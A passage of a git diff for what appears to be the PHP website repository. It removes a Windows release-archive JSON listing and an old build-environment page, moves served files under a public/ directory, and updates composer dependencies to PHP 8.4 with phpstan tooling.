"size": "23.2MB", - "sha256": "3719efc430c3b82cf809ff1b4bb7d720e388f793b1e1857e4d892c62fa950b68" - }, - "debug_pack": { - "path": "php-debug-pack-7.4.33-nts-Win32-vc15-x86.zip", - "size": "22.93MB", - "sha256": "ba5b7833916dc21fa61e0eae8fae6a396c631b3c9249920e554905821442b37d" - }, - "devel_pack": { - "path": "php-devel-pack-7.4.33-nts-Win32-vc15-x86.zip", - "size": "1.08MB", - "sha256": "7c4eeecdb1fe4ac3df66eb4851930defea1e773a3174b7e7a33223beb570c627" - } - } - }, - "8.0": { - "version": "8.0.30", - "ts-vs16-x64": { - "mtime": "2024-07-10T21:09:20+00:00", - "zip": { - "path": "php-8.0.30-Win32-vs16-x64.zip", - "size": "25.63MB", - "sha256": "8697972b5f704885e3444422ede2b5c25d025f614ea96dc67de74dc582471562" - }, - "debug_pack": { - "path": "php-debug-pack-8.0.30-Win32-vs16-x64.zip", - "size": "23.23MB", - "sha256": "8d872df1ff623b64b5152451c2e86de58c9aebf2131db7cee6496b1527027e73" - }, - "devel_pack": { - "path": "php-devel-pack-8.0.30-Win32-vs16-x64.zip", - "size": "1.16MB", - "sha256": "d15960def77f340b868767840fc5406b5a86822e634df7e96c130f91bc28499a" - } - }, - "source": { - "path": "php-8.0.30-src.zip", - "size": "23.48MB", - "sha256": "2ed0ab20f4eff69367c71df86a8504d2ab91de297b5e8b8fd496779134f1bcc0" - }, - "test_pack": { - "path": "php-test-pack-8.0.30.zip", - "size": "13.56MB", - "sha256": "553ee09e6a773f6dc940ba662346c07304bdbe40ee212ef4336f50a7a86adf35" - }, - "ts-vs16-x86": { - "mtime": "2024-07-10T21:09:22+00:00", - "zip": { - "path": "php-8.0.30-Win32-vs16-x86.zip", - "size": "23.64MB", - "sha256": "8dec05f39e6618ee20e252b180d69f8cd0162a3dd2545321593d8f4f44f4af52" - }, - "debug_pack": { - "path": "php-debug-pack-8.0.30-Win32-vs16-x86.zip", - "size": "23.52MB", - "sha256": "3de68c50c6dc674993860cd6a05f56b20e0c11e909af5c71ffcb9f48010a120b" - }, - "devel_pack": { - "path": "php-devel-pack-8.0.30-Win32-vs16-x86.zip", - "size": "1.16MB", - "sha256": "d84e35170de73cf5e0240b81fb38bb1af461b508e7f1ec0aec4686351249b672" - } - }, - "nts-vs16-x64": { - "mtime": "2024-07-10T21:09:12+00:00", - "zip": { - "path": "php-8.0.30-nts-Win32-vs16-x64.zip", - "size": "25.53MB", - "sha256": "dfb70498ffa2c617f2f655a155564697e3c9cca41709938fd1a5997d1d5b0785" - }, - "debug_pack": { - "path": "php-debug-pack-8.0.30-nts-Win32-vs16-x64.zip", - "size": "23.21MB", - "sha256": "6d54cc8d92a65c8a6bdd61591badd6a15c921271245402691591500230416aae" - }, - "devel_pack": { - "path": "php-devel-pack-8.0.30-nts-Win32-vs16-x64.zip", - "size": "1.16MB", - "sha256": "85e9eafbdf7a18acb646eaa0abee33204151297fba95392976f38c49c0a91524" - } - }, - "nts-vs16-x86": { - "mtime": "2024-07-10T21:09:15+00:00", - "zip": { - "path": "php-8.0.30-nts-Win32-vs16-x86.zip", - "size": "23.65MB", - "sha256": "b649889ac73add91c02ec7f6fdb9182f148cfa3181761e32a1be02a3b1d85100" - }, - "debug_pack": { - "path": "php-debug-pack-8.0.30-nts-Win32-vs16-x86.zip", - "size": "23.86MB", - "sha256": "bdc62ed306636b42857a2c6fb9685663a389b0a83c88a1cf6c19b201444ff19b" - }, - "devel_pack": { - "path": "php-devel-pack-8.0.30-nts-Win32-vs16-x86.zip", - "size": "1.16MB", - "sha256": "a7dba1b187b06371a1f6e4f2eeddf6c938c286ce6eb70ee52393eadb2d8c9277" - } - } - }, - "8.1": { - "version": "8.1.33", - "ts-vs16-x64": { - "mtime": "2025-07-01T21:49:54+00:00", - "zip": { - "path": "php-8.1.33-Win32-vs16-x64.zip", - "size": "29.46MB", - "sha256": "41a2b8f980a3f502062d29f9442a98cf703c98dd4b8c770feb3dde013535db7a" - }, - "debug_pack": { - "path": "php-debug-pack-8.1.33-Win32-vs16-x64.zip", - "size": "24.95MB", - "sha256": "93cee65a518722ca8218b653c90e889c67b2fcaf2cdc473979c9ca65e8409c88" - }, - "devel_pack": { - "path": "php-devel-pack-8.1.33-Win32-vs16-x64.zip", - "size": "1.21MB", - "sha256": "cd5a85d46f6b3737d1e6c77caf2fb8fc676952bc84fab8c5adbd4e7324a8ca3c" - } - }, - "source": { - "path": "php-8.1.33-src.zip", - "size": "25.07MB", - "sha256": "175bcd5b847eb51bae037075a0c6feee6ec9dc3d1e0f50f0d35b07903437e41b" - }, - "test_pack": { - "path": "php-test-pack-8.1.33.zip", - "size": "15.43MB", - "sha256": "19a66cc4bd64a855a2675352a94b3dd984005a7c92f5dab5a96e35d603ffea91" - }, - "ts-vs16-x86": { - "mtime": "2025-07-01T21:49:54+00:00", - "zip": { - "path": "php-8.1.33-Win32-vs16-x86.zip", - "size": "26.38MB", - "sha256": "c8180a98d7c179cf1cbc31fda916741bfbd8c850f4a5cd4de1f40f73631d7825" - }, - "debug_pack": { - "path": "php-debug-pack-8.1.33-Win32-vs16-x86.zip", - "size": "24.72MB", - "sha256": "8850b46847106910f9035465ae94049898baeeeaae4bb42ced65b7716734ddce" - }, - "devel_pack": { - "path": "php-devel-pack-8.1.33-Win32-vs16-x86.zip", - "size": "1.21MB", - "sha256": "c84f0462646deb8ca922d99b7089ef57052b360b2245de9164a98ac2c24741d0" - } - }, - "nts-vs16-x64": { - "mtime": "2025-07-01T21:49:54+00:00", - "zip": { - "path": "php-8.1.33-nts-Win32-vs16-x64.zip", - "size": "29.35MB", - "sha256": "da7b4209072731b6099858030f7db98bc040ed670758a288a0a6208bc691feb2" - }, - "debug_pack": { - "path": "php-debug-pack-8.1.33-nts-Win32-vs16-x64.zip", - "size": "24.98MB", - "sha256": "e8cfbc304fd0d2a675956a0b7964655372f27fdb2560409ff23dc4efc240a7d4" - }, - "devel_pack": { - "path": "php-devel-pack-8.1.33-nts-Win32-vs16-x64.zip", - "size": "1.21MB", - "sha256": "cbe1a997239dccea3bd3ee44324c84ac18a9cf597f37c87c8dc56e82ce741be1" - } - }, - "nts-vs16-x86": { - "mtime": "2025-07-01T21:49:54+00:00", - "zip": { - "path": "php-8.1.33-nts-Win32-vs16-x86.zip", - "size": "26.4MB", - "sha256": "2d63bf6bf5e87e78b249b825efc8079416c75170be3437c466727b124ece1ae0" - }, - "debug_pack": { - "path": "php-debug-pack-8.1.33-nts-Win32-vs16-x86.zip", - "size": "25.06MB", - "sha256": "6b2b5b36e16ae57bf18edb822a824ee59b48f36bd38a8c8d5713cc87ac145c39" - }, - "devel_pack": { - "path": "php-devel-pack-8.1.33-nts-Win32-vs16-x86.zip", - "size": "1.21MB", - "sha256": "87c11c0015887014cea90aa4804281acbfbeea0ddfec4760517834dd8faebb96" - } - } - }, - "8.2": { - "version": "8.2.29", - "ts-vs16-x64": { - "mtime": "2025-07-01T18:54:34+00:00", - "zip": { - "path": "php-8.2.29-Win32-vs16-x64.zip", - "size": "30.45MB", - "sha256": "5f96961e6d77dd4130e58a304715a1b12050b6e92f9ddba2fc4ca0a5b1dafaf0" - }, - "debug_pack": { - "path": "php-debug-pack-8.2.29-Win32-vs16-x64.zip", - "size": "25.47MB", - "sha256": "54258b2fa3be53f00ccf76146b85a05990ba10b5861b63d58fdd8fbc9da0e9ad" - }, - "devel_pack": { - "path": "php-devel-pack-8.2.29-Win32-vs16-x64.zip", - "size": "1.24MB", - "sha256": "afd855d307a81ac82ffa4be520b7e4eb38575953dfaa11e77ebd22c4bf25ce3f" - } - }, - "source": { - "path": "php-8.2.29-src.zip", - "size": "25.8MB", - "sha256": "cbe2305e516533f2bcb3bd9df59751df4b246a02eec9c901f6af5512f738c9c7" - }, - "test_pack": { - "path": "php-test-pack-8.2.29.zip", - "size": "15.89MB", - "sha256": "1947843bd20cc3d8de2e1043eb8d6cd6bcdd1c4bf1dae46a69cfa16fd83439ea" - }, - "ts-vs16-x86": { - "mtime": "2025-07-01T18:54:34+00:00", - "zip": { - "path": "php-8.2.29-Win32-vs16-x86.zip", - "size": "27.21MB", - "sha256": "862c98b3c0ea5b40d15f6df1dc65eb9a1b7d3f115a88351e507f7c868cc57323" - }, - "debug_pack": { - "path": "php-debug-pack-8.2.29-Win32-vs16-x86.zip", - "size": "25.35MB", - "sha256": "2a7397eaea7dae49e15b80f155e3239dd8c3a741a8c3e7114976ef7c6f0ece5d" - }, - "devel_pack": { - "path": "php-devel-pack-8.2.29-Win32-vs16-x86.zip", - "size": "1.24MB", - "sha256": "3bf7520968c6d48370c0fac8fe6c64a1f12a669be444d43a4864a412c2383315" - } - }, - "nts-vs16-x64": { - "mtime": "2025-07-01T18:54:34+00:00", - "zip": { - "path": "php-8.2.29-nts-Win32-vs16-x64.zip", - "size": "30.34MB", - "sha256": "00ce01ef2d2b4245354ac7cd0cc94e202a908479da4f288b1aa3354176077c44" - }, - "debug_pack": { - "path": "php-debug-pack-8.2.29-nts-Win32-vs16-x64.zip", - "size": "25.5MB", - "sha256": "a35863767536e13d7a1f27115ca9492166e57957d282e5d029a8c67cb95742bf" - }, - "devel_pack": { - "path": "php-devel-pack-8.2.29-nts-Win32-vs16-x64.zip", - "size": "1.24MB", - "sha256": "d9b5c0709851ba624d3aa21e1504482238411460a87e488d09ec7ecd37ea4521" - } - }, - "nts-vs16-x86": { - "mtime": "2025-07-01T18:54:34+00:00", - "zip": { - "path": "php-8.2.29-nts-Win32-vs16-x86.zip", - "size": "27.24MB", - "sha256": "07611b1c7691ad02fb0ffb323db9f4e065ff53070b62726c5941618941e35f56" - }, - "debug_pack": { - "path": "php-debug-pack-8.2.29-nts-Win32-vs16-x86.zip", - "size": "25.7MB", - "sha256": "580c4fe75d04bd2c9f200cc732c7b9e71f1ea67c7900b3123e2fde96ff3d75a1" - }, - "devel_pack": { - "path": "php-devel-pack-8.2.29-nts-Win32-vs16-x86.zip", - "size": "1.24MB", - "sha256": "6332f6b7f680dbd62901cefe672679943d360698133a2f260c1cd614018d42f6" - } - } - }, - "8.3": { - "version": "8.3.24", - "ts-vs16-x64": { - "mtime": "2025-07-29T16:33:00+00:00", - "zip": { - "path": "php-8.3.24-Win32-vs16-x64.zip", - "size": "30.86MB", - "sha256": "db1b23a64856eb60baae91e7757db3b5ab7bbf9927aba7fd95b5441f84be86f6" - }, - "debug_pack": { - "path": "php-debug-pack-8.3.24-Win32-vs16-x64.zip", - "size": "30.26MB", - "sha256": "47c7d0613ed28b6b718c257efa5aa18dd41f20a48fdfd350e6e11397b205ebdd" - }, - "devel_pack": { - "path": "php-devel-pack-8.3.24-Win32-vs16-x64.zip", - "size": "1.26MB", - "sha256": "f3972a8643747ea9c28f34d016e464bcca57b251602a0252983c1d7d7cdb3072" - } - }, - "source": { - "path": "php-8.3.24-src.zip", - "size": "26.67MB", - "sha256": "6df12807479ff3f39b5457ff1c3753ecf5221d6e2ab9c5ba36de69f41457b25a" - }, - "test_pack": { - "path": "php-test-pack-8.3.24.zip", - "size": "16.63MB", - "sha256": "fa89133b4b51c543c4b38b01dccb6001d36c47c38cf332edbc20161b5dce676d" - }, - "ts-vs16-x86": { - "mtime": "2025-07-29T16:33:00+00:00", - "zip": { - "path": "php-8.3.24-Win32-vs16-x86.zip", - "size": "27.57MB", - "sha256": "c285a48339f31744021197705742a9968608f2767ef2f603e8361e6eee485067" - }, - "debug_pack": { - "path": "php-debug-pack-8.3.24-Win32-vs16-x86.zip", - "size": "30MB", - "sha256": "2047e73776db8901fb8a3875d1363d6492ec2c6ca84349db434e3ab043049b74" - }, - "devel_pack": { - "path": "php-devel-pack-8.3.24-Win32-vs16-x86.zip", - "size": "1.26MB", - "sha256": "59d05ed424eeb680e54746d875a4f02b6786554f3e99c4c160775654383e10de" - } - }, - "nts-vs16-x64": { - "mtime": "2025-07-29T16:32:58+00:00", - "zip": { - "path": "php-8.3.24-nts-Win32-vs16-x64.zip", - "size": "30.72MB", - "sha256": "f48d7f9b43197768c81bd4bfea3f5d246aed059e8aeb7f8b9ff9474fa5e9ec12" - }, - "debug_pack": { - "path": "php-debug-pack-8.3.24-nts-Win32-vs16-x64.zip", - "size": "30.25MB", - "sha256": "281ab5e2bd529f3c66c3688b869398e2417d3f013d04314f212af6e2f0482fb3" - }, - "devel_pack": { - "path": "php-devel-pack-8.3.24-nts-Win32-vs16-x64.zip", - "size": "1.26MB", - "sha256": "10a5f3eef0c8b1c52420748e7aba06140050eeb86d6faaa46b1c656d96c103aa" - } - }, - "nts-vs16-x86": { - "mtime": "2025-07-29T16:32:58+00:00", - "zip": { - "path": "php-8.3.24-nts-Win32-vs16-x86.zip", - "size": "27.59MB", - "sha256": "1321bee6601818facd99143042a223b6bbf648614d8cded992b36f00667ff8ce" - }, - "debug_pack": { - "path": "php-debug-pack-8.3.24-nts-Win32-vs16-x86.zip", - "size": "30.39MB", - "sha256": "8967c1163faa8947d7280197fd4da43087611f8816714adfb324c1d4d5cf3db9" - }, - "devel_pack": { - "path": "php-devel-pack-8.3.24-nts-Win32-vs16-x86.zip", - "size": "1.26MB", - "sha256": "7ce6f7fdcc5aaf442de0d01b2aaac10fcb241ce1fa7336e2c1f16667ccc8a0c1" - } - } - }, - "8.4": { - "version": "8.4.11", - "ts-vs17-x64": { - "mtime": "2025-07-29T16:17:56+00:00", - "zip": { - "path": "php-8.4.11-Win32-vs17-x64.zip", - "size": "32.39MB", - "sha256": "ffaa48fc95df820f6a374aa8b6d9bf718be8e9b4bd190cddb2d1d377fa2a24b7" - }, - "debug_pack": { - "path": "php-debug-pack-8.4.11-Win32-vs17-x64.zip", - "size": "36.92MB", - "sha256": "8bc1578338e2a43f6e1732054a0d4942f72a2651db95156badce4a1144b0928a" - }, - "devel_pack": { - "path": "php-devel-pack-8.4.11-Win32-vs17-x64.zip", - "size": "1.36MB", - "sha256": "a7f2c3f18d4b5c2e2168bb21d5fd393fdfac8959740bfc6ca1d1239785f9c92a" - } - }, - "source": { - "path": "php-8.4.11-src.zip", - "size": "28.93MB", - "sha256": "5f7077f98928cf68fe5c9be713b9cdfdd141f071ef14a2509acb6ca1d2685d5a" - }, - "test_pack": { - "path": "php-test-pack-8.4.11.zip", - "size": "17.37MB", - "sha256": "7f816b3b6934c464d827fcd9dd6d965c2613351c721502b1a8b0d6ef30c20f7b" - }, - "ts-vs17-x86": { - "mtime": "2025-07-29T16:17:54+00:00", - "zip": { - "path": "php-8.4.11-Win32-vs17-x86.zip", - "size": "29.03MB", - "sha256": "f86610f16b8c5983ae65397219eedc3ef773657bea036f5fe3969e8adeb680d5" - }, - "debug_pack": { - "path": "php-debug-pack-8.4.11-Win32-vs17-x86.zip", - "size": "37.52MB", - "sha256": "912a0028bb9e50cb1e0930a09a4ab2249b7b1e522553aa9df8278b3dd5d5e7dc" - }, - "devel_pack": { - "path": "php-devel-pack-8.4.11-Win32-vs17-x86.zip", - "size": "1.36MB", - "sha256": "683b46720c5a31187b1e42fb556a2f619930e196f7be88cc9a8a4f54f94c9379" - } - }, - "nts-vs17-x64": { - "mtime": "2025-07-29T16:17:54+00:00", - "zip": { - "path": "php-8.4.11-nts-Win32-vs17-x64.zip", - "size": "32.24MB", - "sha256": "8e5fc5a247087d01a415799001c45e2690ddae1310cee2e60fa63a5d78244356" - }, - "debug_pack": { - "path": "php-debug-pack-8.4.11-nts-Win32-vs17-x64.zip", - "size": "36.83MB", - "sha256": "52d1dfd591bc2a78b43c4ef41f3f1096193a7ac9af3b96869001e36d7a410784" - }, - "devel_pack": { - "path": "php-devel-pack-8.4.11-nts-Win32-vs17-x64.zip", - "size": "1.35MB", - "sha256": "dfe9760865924a4eb61ec64fed3d74c4bbd9b7dec4295704ea91f6d47f17fdda" - } - }, - "nts-vs17-x86": { - "mtime": "2025-07-29T16:17:54+00:00", - "zip": { - "path": "php-8.4.11-nts-Win32-vs17-x86.zip", - "size": "28.92MB", - "sha256": "5a535d8f1c9adf486652f13ee9405e31177642875d563f2dbdcbee400005d15f" - }, - "debug_pack": { - "path": "php-debug-pack-8.4.11-nts-Win32-vs17-x86.zip", - "size": "37.28MB", - "sha256": "40560f125763c0c97c6cf471ad127e0783c821f2f26d377a52f313fd8c3119e7" - }, - "devel_pack": { - "path": "php-devel-pack-8.4.11-nts-Win32-vs17-x86.zip", - "size": "1.35MB", - "sha256": "d9163622d3fc675181d8e529ad475774bab7ef5ed6d34cac33cac48d872fc80b" - } - } - } -} diff --git a/bin/createReleaseEntry b/bin/createReleaseEntry index a9dcf1e658..e4bb98f40a 100755 --- a/bin/createReleaseEntry +++ b/bin/createReleaseEntry @@ -51,14 +51,14 @@ $entry->save()->updateArchiveXML(); $addedFiles = [Entry::ARCHIVE_ENTRIES_REL . $entry->getId() . '.xml']; // Mint the releases/x_y_z.php archive. -const RELEASES_REL = 'releases/'; +const RELEASES_REL = 'public/releases/'; const RELEASES_ABS = __DIR__ . '/../' . RELEASES_REL; if (isset($opts['r'])) { $release = strtr($version, '.', '_') . '.php'; file_put_contents(RELEASES_ABS . $release, " true, 'cache_control' => 30 * 60]); ?>

PHP $version Release Announcement

diff --git a/build-manual.sh b/build-manual.sh index 4c659a5a35..5f171d8e53 100755 --- a/build-manual.sh +++ b/build-manual.sh @@ -33,7 +33,7 @@ for arg in "$@"; do done RSYNC_SOURCE="rsync://rsync.php.net/phpweb/manual/${LANG}/" -MANUAL_DEST="${SCRIPT_DIR}/manual/${LANG}/" +MANUAL_DEST="${SCRIPT_DIR}/public/manual/${LANG}/" # Persistent copy that outlives releases (Forge keeps releases/ next to shared/). MANUAL_CACHE="${MANUAL_CACHE:-${SCRIPT_DIR}/../../shared/manual/${LANG}}" @@ -70,4 +70,4 @@ echo " Files: ${TOTAL_FILES}" echo " Path: ${MANUAL_DEST}" echo "" echo " To serve locally:" -echo " php -S localhost:8080 .router.php" +echo " cd public && php -S localhost:8080 .router.php" diff --git a/build-setup.php b/build-setup.php deleted file mode 100644 index 0ab2f84cab..0000000000 --- a/build-setup.php +++ /dev/null @@ -1,175 +0,0 @@ - -
-

- This page is intended to help setup a development environment for PHP, if mistakes are found - please report them. -

-
- -'; - -site_header("Operating System Preparation", ["current" => "community"]); - -?> -

Operating System Preparation

-
-

- Improving PHP requires a working build environment to test changes, the following section deals with setting up a working build environment. -

-

- Your build environment should have an appropriate toolchain that includes a working C compiler, - for those not working in Microsoft Windows, you will need a working, compatible autotools installation, and at the very least a shared copy of zlib. -

-

- For most *nix like operating systems, some external dependencies may be required to bring a build to completion; - if a build fails because of missing headers or libraries, issuing a variant of the following command should resolve those dependencies, allowing the build to continue: -

-

-

- For those working in Ubuntu Linux, you can run the following command to automate the installation of dependencies: -

- If the compilation of an extension should fail because of missing dependencies, Ubuntu Linux can attempt to automate the resolution of those dependencies by issuing: - -

-

- The following table shows what is required for Microsoft Windows users to build PHP: -

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
PHPVisual C++MS SDKDEPSPHP SDK
5.3Visual Studio 20086.1x86here
5.4Visual Studio 20086.1x86here
5.5Visual Studio 20086.1x86here
5.5Visual Studio 2012N/A - x86, - x64 - here
-

Note: If a Windows SDK is required, it is advised to install the SDK before Visual Studio.

-
- -

Workspace Preparation

-
-

- Windows users should now download and unzip the PHP SDK to their workspace and execute the following commands in an appropriate Visual Studio Console: -

-

- Visual Studio 2008: -

- Visual Studio 2008 and 2012: - - Windows should now change to the directory C:\path-to-workspace\phpdev\VCXX\XARCH, and consider it the root of the workspace for the current build. -

-

- The next step for everyone is to obtain the versioned PHP sources via git: -

- BRANCH should be replaced with an appropriate branch name, for example PHP-5.5. -

-

- At this point you have a working build environment and the vanilla sources for your chosen branch of PHP, it is a good idea, before you change anything at all, to create a new branch and switch to it, in preparation for your awesome changes to come: -

-

-
- - -

Building Your Development PHP

-
-

- All operating systems now converge on (near as makes no difference) the same solutions for the rest of the build process: -

-

-

- For Microsoft Windows operating systems, those commands looks like this: -

-

-

- While for the rest of us, those commands look like this: -

-

-

- The configure script has the ability to customize almost every aspect of PHP, to elicit help at the console pass --help - as the only argument to configure

-

- When configure executes, it saves the options passed in to a re-usable config.nice which executes configure when invoked. -

-

- Upon successful completion of a build, it is recommended to run the test suite, this will help you to identify regression problems in your work, - running the test suite can take a while; go out for a run, or a burger. -

-

- It is also possible to run a set (directory) of tests in the following way: -

-

-
- $SIDEBAR_DATA]); diff --git a/composer.json b/composer.json index 5aba4cc296..9aba4edaa1 100644 --- a/composer.json +++ b/composer.json @@ -8,11 +8,14 @@ "source": "https://github.com/php/web-php" }, "require": { - "php": "~8.2.0" + "php": "~8.4.0" }, "require-dev": { "ext-curl": "*", - "friendsofphp/php-cs-fixer": "^3.94.2", + "friendsofphp/php-cs-fixer": "^3.95.30", + "phpstan/extension-installer": "^1.4", + "phpstan/phpstan": "^2.3", + "phpstan/phpstan-phpunit": "^2.1", "phpunit/phpunit": "^11.5.50" }, "autoload": { @@ -27,8 +30,11 @@ }, "config": { "platform": { - "php": "8.2.0" + "php": "8.4.0" }, - "sort-packages": true + "sort-packages": true, + "allow-plugins": { + "phpstan/extension-installer": true + } } } diff --git a/composer.lock b/composer.lock index b5a29e9587..35ca1c80a7 100644 --- a/composer.lock +++ b/composer.lock @@ -4,7 +4,7 @@ "Read more about it at https://getcomposer.org/doc/01-basic-usage.md#installing-dependencies", "This file is @generated automatically" ], - "content-hash": "58927cc4b76b5ae921ce4125326db1c2", + "content-hash": "c568f229a65619a6bed524e4d09d7972", "packages": [], "packages-dev": [ { @@ -73,28 +73,29 @@ }, { "name": "composer/pcre", - "version": "3.3.2", + "version": "3.4.0", "source": { "type": "git", "url": "https://github.com/composer/pcre.git", - "reference": "b2bed4734f0cc156ee1fe9c0da2550420d99a21e" + "reference": "d5a341b3fb61f3001970940afb1d332968a183ed" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/composer/pcre/zipball/b2bed4734f0cc156ee1fe9c0da2550420d99a21e", - "reference": "b2bed4734f0cc156ee1fe9c0da2550420d99a21e", + "url": "https://api.github.com/repos/composer/pcre/zipball/d5a341b3fb61f3001970940afb1d332968a183ed", + "reference": "d5a341b3fb61f3001970940afb1d332968a183ed", "shasum": "" }, "require": { "php": "^7.4 || ^8.0" }, "conflict": { - "phpstan/phpstan": "<1.11.10" + "phpstan/phpstan": "<2.2.2" }, "require-dev": { - "phpstan/phpstan": "^1.12 || ^2", - "phpstan/phpstan-strict-rules": "^1 || ^2", - "phpunit/phpunit": "^8 || ^9" + "phpstan/phpstan": "^2", + "phpstan/phpstan-deprecation-rules": "^2", + "phpstan/phpstan-strict-rules": "^2", + "phpunit/phpunit": "^9" }, "type": "library", "extra": { @@ -132,7 +133,7 @@ ], "support": { "issues": "https://github.com/composer/pcre/issues", - "source": "https://github.com/composer/pcre/tree/3.3.2" + "source": "https://github.com/composer/pcre/tree/3.4.0" }, "funding": [ { @@ -142,26 +143,22 @@ { "url": "https://github.com/composer", "type": "github" - }, - { - "url": "https://tidelift.com/funding/github/packagist/composer/composer", - "type": "tidelift" } ], - "time": "2024-11-12T16:29:46+00:00" + "time": "2026-06-07T11:47:49+00:00" }, { "name": "composer/semver", - "version": "3.4.4", + "version": "3.6.0", "source": { "type": "git", "url": "https://github.com/composer/semver.git", - "reference": "198166618906cb2de69b95d7d47e5fa8aa1b2b95" + "reference": "d92543b7ede9c4ec6b59853cefb061e39866d2cf" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/composer/semver/zipball/198166618906cb2de69b95d7d47e5fa8aa1b2b95", - "reference": "198166618906cb2de69b95d7d47e5fa8aa1b2b95", + "url": "https://api.github.com/repos/composer/semver/zipball/d92543b7ede9c4ec6b59853cefb061e39866d2cf", + "reference": "d92543b7ede9c4ec6b59853cefb061e39866d2cf", "shasum": "" }, "require": { @@ -203,7 +200,7 @@ "homepage": "http://robbast.nl" } ], - "description": "Semver library that offers utilities, version constraint parsing and validation.", + "description": "Version comparison library that offers utilities, version constraint parsing and validation.", "keywords": [ "semantic", "semver", @@ -213,7 +210,7 @@ "support": { "irc": "ircs://irc.libera.chat:6697/composer", "issues": "https://github.com/composer/semver/issues", - "source": "https://github.com/composer/semver/tree/3.4.4" + "source": "https://github.com/composer/semver/tree/3.6.0" }, "funding": [ { @@ -225,7 +222,7 @@ "type": "github" } ], - "time": "2025-08-20T19:15:30+00:00" + "time": "2026-10-29T09:13:34+00:00" }, { "name": "composer/xdebug-handler", @@ -293,6 +290,75 @@ ], "time": "2024-05-06T16:37:16+00:00" }, + { + "name": "ergebnis/agent-detector", + "version": "2.0.0", + "source": { + "type": "git", + "url": "https://github.com/ergebnis/agent-detector.git", + "reference": "bcc63004284c61c6df6e9625acf2673e3be1889b" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/ergebnis/agent-detector/zipball/bcc63004284c61c6df6e9625acf2673e3be1889b", + "reference": "bcc63004284c61c6df6e9625acf2673e3be1889b", + "shasum": "" + }, + "require": { + "php": "~7.4.0 || ~8.0.0 || ~8.1.0 || ~8.2.0 || ~8.3.0 || ~8.4.0 || ~8.5.0 || ~8.6.0" + }, + "require-dev": { + "ergebnis/composer-normalize": "^2.54.0", + "ergebnis/license": "^2.8.0", + "ergebnis/php-cs-fixer-config": "^6.60.2", + "ergebnis/phpstan-rules": "^2.14.2", + "ergebnis/phpunit-slow-test-detector": "^2.27.0", + "ergebnis/rector-rules": "^1.18.5", + "fakerphp/faker": "^1.24.1", + "infection/infection": "^0.26.6", + "phpstan/extension-installer": "^1.4.3", + "phpstan/phpstan": "^2.2.14", + "phpstan/phpstan-deprecation-rules": "^2.0.5", + "phpstan/phpstan-phpunit": "^2.1.1", + "phpstan/phpstan-strict-rules": "^2.1.0", + "phpunit/phpunit": "^9.6.34", + "rector/rector": "^2.7.0" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-main": "2.0-dev" + }, + "composer-normalize": { + "indent-size": 2, + "indent-style": "space" + } + }, + "autoload": { + "psr-4": { + "Ergebnis\\AgentDetector\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Andreas Möller", + "email": "am@localheinz.com", + "homepage": "https://localheinz.com" + } + ], + "description": "Provides a detector for detecting the presence of an agent.", + "homepage": "https://github.com/ergebnis/agent-detector", + "support": { + "issues": "https://github.com/ergebnis/agent-detector/issues", + "security": "https://github.com/ergebnis/agent-detector/blob/main/.github/SECURITY.md", + "source": "https://github.com/ergebnis/agent-detector" + }, + "time": "2026-10-29T17:44:55+00:00" + }, { "name": "evenement/evenement", "version": "v3.0.2", @@ -342,23 +408,23 @@ }, { "name": "fidry/cpu-core-counter", - "version": "1.3.0", + "version": "1.4.1", "source": { "type": "git", "url": "https://github.com/theofidry/cpu-core-counter.git", - "reference": "db9508f7b1474469d9d3c53b86f817e344732678" + "reference": "d384a7d0d6e67aa497327260ca95023e92dc2032" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/theofidry/cpu-core-counter/zipball/db9508f7b1474469d9d3c53b86f817e344732678", - "reference": "db9508f7b1474469d9d3c53b86f817e344732678", + "url": "https://api.github.com/repos/theofidry/cpu-core-counter/zipball/d384a7d0d6e67aa497327260ca95023e92dc2032", + "reference": "d384a7d0d6e67aa497327260ca95023e92dc2032", "shasum": "" }, "require": { "php": "^7.2 || ^8.0" }, "require-dev": { - "fidry/makefile": "^0.2.0", + "fidry/makefile": "^0.2.0 || ^1.1.2", "fidry/php-cs-fixer-config": "^1.1.2", "phpstan/extension-installer": "^1.2.0", "phpstan/phpstan": "^2.0", @@ -366,6 +432,7 @@ "phpstan/phpstan-phpunit": "^2.0", "phpstan/phpstan-strict-rules": "^2.0", "phpunit/phpunit": "^8.5.31 || ^9.5.26", + "symfony/polyfill-mbstring": "^1.33", "webmozarts/strict-phpunit": "^7.5" }, "type": "library", @@ -391,7 +458,7 @@ ], "support": { "issues": "https://github.com/theofidry/cpu-core-counter/issues", - "source": "https://github.com/theofidry/cpu-core-counter/tree/1.3.0" + "source": "https://github.com/theofidry/cpu-core-counter/tree/1.4.1" }, "funding": [ { @@ -399,26 +466,27 @@ "type": "github" } ], - "time": "2025-08-14T07:29:31+00:00" + "time": "2026-09-29T22:11:39+00:00" }, { "name": "friendsofphp/php-cs-fixer", - "version": "v3.94.2", + "version": "v3.95.30", "source": { "type": "git", "url": "https://github.com/PHP-CS-Fixer/PHP-CS-Fixer.git", - "reference": "7787ceff91365ba7d623ec410b8f429cdebb4f63" + "reference": "e85cafc4d861c122839d5409eda3325ac0ec0300" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/PHP-CS-Fixer/PHP-CS-Fixer/zipball/7787ceff91365ba7d623ec410b8f429cdebb4f63", - "reference": "7787ceff91365ba7d623ec410b8f429cdebb4f63", + "url": "https://api.github.com/repos/PHP-CS-Fixer/PHP-CS-Fixer/zipball/e85cafc4d861c122839d5409eda3325ac0ec0300", + "reference": "e85cafc4d861c122839d5409eda3325ac0ec0300", "shasum": "" }, "require": { "clue/ndjson-react": "^1.3", "composer/semver": "^3.4", "composer/xdebug-handler": "^3.0.5", + "ergebnis/agent-detector": "^2.0.0", "ext-filter": "*", "ext-hash": "*", "ext-json": "*", @@ -429,32 +497,31 @@ "react/event-loop": "^1.5", "react/socket": "^1.16", "react/stream": "^1.4", - "sebastian/diff": "^4.0.6 || ^5.1.1 || ^6.0.2 || ^7.0 || ^8.0", - "symfony/console": "^5.4.47 || ^6.4.24 || ^7.0 || ^8.0", - "symfony/event-dispatcher": "^5.4.45 || ^6.4.24 || ^7.0 || ^8.0", - "symfony/filesystem": "^5.4.45 || ^6.4.24 || ^7.0 || ^8.0", - "symfony/finder": 